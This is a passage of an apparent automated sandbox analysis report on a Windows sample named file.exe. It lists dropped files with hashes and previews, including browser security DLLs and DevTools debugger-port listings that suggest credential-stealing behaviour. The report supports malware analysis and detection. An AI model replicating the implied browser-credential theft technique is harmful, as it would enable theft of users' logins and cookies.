"https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.981744633780899
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXkmV:YWLSGTt1o9LuLgfGBPAzkVj/T8ldV
MD5:	EE95365B9E04E55955E85DF479EC46A6
SHA1:	439C14313A4D351A62FBF795753D416BC6EA90D0
SHA-256:	B9D55618DA5C5B8D202BAF430E5E718A56384479FBCAC6F67EEE0A1C0B24BC0E
SHA-512:	39468BFB344421E6BAD9DCDA8D1DA4BF0569E871EAB9005444D8A8DBE943866D7DC7EAC140BEF970C3F92EDCFD293076FB2CB87688820A2565F2CD398AB77744
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732211012494142}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b62939d4-da15-4b60-9ac5-cc90dd10ab8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.094979063961817
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvWwi1zNtdLaNcHkSqqrjKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4yaAKtSmd6qE7lFoC
MD5:	673EDD569C7120F40D40B45C78622CFA
SHA1:	60A425611CA9481116B5AE0AF23C1790A6BAC5E7
SHA-256:	AC5BDDA8B7F75993FF85E58F818B34930CEAD43E83A4C94D7BEB36AADE8DECE1
SHA-512:	B955963FF34FCAC7983BCD508D723AFA9E9BE5573F49F45B4DAF8F4B033B4856640C395D0DDE63D49BC77F4F88BD73A9D2D71C7DD12C57535FC91EA30BD54C44
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851604341552241
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxexl9Il8uQH03xO+HawyECImj19wr0R9Id1rc:mfYCH03x6wDCImj1Gs1
MD5:	24C7DC69430DAE230BFEE1F789AAE337
SHA1:	8E8A6A23744C749891E455FA44EE8F06DA627948
SHA-256:	2BCBDFDD51E1F853C24E32C9EE3455B6AD469AC82776CF9BDDB26DC809A7F6FB
SHA-512:	8EFE88E14192E43E60192429D6A287F9EB8E34ACA622BD53EE82B861701B56ED34DA0ED81B89796A5736B1903CE148C2AF9F931EAF887A1EB7689C90ABEB95B9
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.J.i.W.k.l.o.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.p.P.3.w.5.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9958469653780324
Encrypted:	false
SSDEEP:	48:uiTrlKxEx2NxD9Il8uQNV3DgyGlRBFs0zC+ZHJBXYNy7ap0QKDRJyth0b9Qaavji:SfYCNVjwz5CuBH7ap0QKDqgQs5LPZ
MD5:	F957B60F8E174FD5D6FFDFAE2D011372
SHA1:	969021AE7749B707B5585DA0222E89362DEF8D3E
SHA-256:	CD1B7C867DAE2EA450F0AD29F76E602E84C4EA716A17FC85B33EF4730187A042
SHA-512:	DC2DBC1134273561562952DD3EEBDC968D30BBE53DBC46A78F348D48975DC8615A154BD9AEBC5FBC2FF444765956AD55DD2E04917566408F31CF705F356E80EA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".d.7.0.F.d.1.I.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.p.P.3.w.5.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.893510874515524
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xIxl9Il8uQyC5S+QWCImorgPfABpW2qyZJ7VGn+ded/vc:aKYCyCDQtiYwqy7Vk+Z
MD5:	B1F8FAAB8D2FE4B60D104E348BBE0E33
SHA1:	0B808B2AA25FF34ADBB5B28E5553BD0579DE0FE5
SHA-256:	0412F467FCEC31CA5693CDA8633FBA7F6F7DB0AFC67BB55B668ED873F553F13B
SHA-512:	042160B701AB70E859703E24AD9F38BB18EC7C4F31B1971969F7ACAE76B76E889E4724384E43822AAE9CDB3602595D814DD72A1F7F3414400CC3D91F25279943
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".J.b.q.V.p.y.N.a.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.p.P.3.w.5.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.397216153238855
Encrypted:	false
SSDEEP:	96:6NnQ+HQ1NnQRybQENnQQ9QcNnQhdgEQ3NnQZxkQZnNnQUggDQUjNnQwXwQBNnQ2s:6NqNA4N5NwqNqx5nNNBNvXtNNs
MD5:	42FD627095184EE7E0F3AC433385394F
SHA1:	6B1C65BAC8421BB791BD2989977CDF8DB7F77524
SHA-256:	AE0F1DA7E004C4FE48018491AA65F55DF545598AC1BD3E7C888CA2CEF4FCE696
SHA-512:	0B3F8B6768F418A31FFB79B418E7A3BF312E2F78419967645BADB3B14CE0F8E54C2AF3BBCBC4335FBBC7CAA3668EDA6543E278B1E48D36C9F3A52966D678BFB1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DE06D51BC5F8F76CEE44090ECADC9B43",.. "id": "DE06D51BC5F8F76CEE44090ECADC9B43",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DE06D51BC5F8F76CEE44090ECADC9B43"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7772283A055C334D9956B1732C94F838",.. "id": "7772283A055C334D9956B1732C94F838",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7772283A055C334D9956B1732C94F838"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37840507275571
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQOfNaoQkQgfNaoQ1PQ1K/fNaoQbU2Ux0UrU0U8Qb7:6NnQVTEQ2NnQkQsNnQNQ8NnQ47x0UrUv
MD5:	11E24243EF12E821408A5E381083F2E1
SHA1:	7900CEFBC88D8457DA6948A8FC35021AD05B97D5
SHA-256:	64D01ED1FF6300F9740B9154C8A1A67E8B1A226F8D65BA48074967868CDA9F62
SHA-512:	B3DB757E76AE1A4F0A3D5151F2BD43A429F37FBB64B68559EEE98048B59453689FA4FC9280221B958F8C59D3AA1E4B96FF08594D9F06BE7D0EE3E91B1FB96943
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7EA66322BF545C35FFF6A3E1F184F85F",.. "id": "7EA66322BF545C35FFF6A3E1F184F85F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7EA66322BF545C35FFF6A3E1F184F85F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E9171083B0D61E9560E902EFF53AE4A1",.. "id": "E9171083B0D61E9560E902EFF53AE4A1",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E9171083B0D61E9560E902EFF53AE4A1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
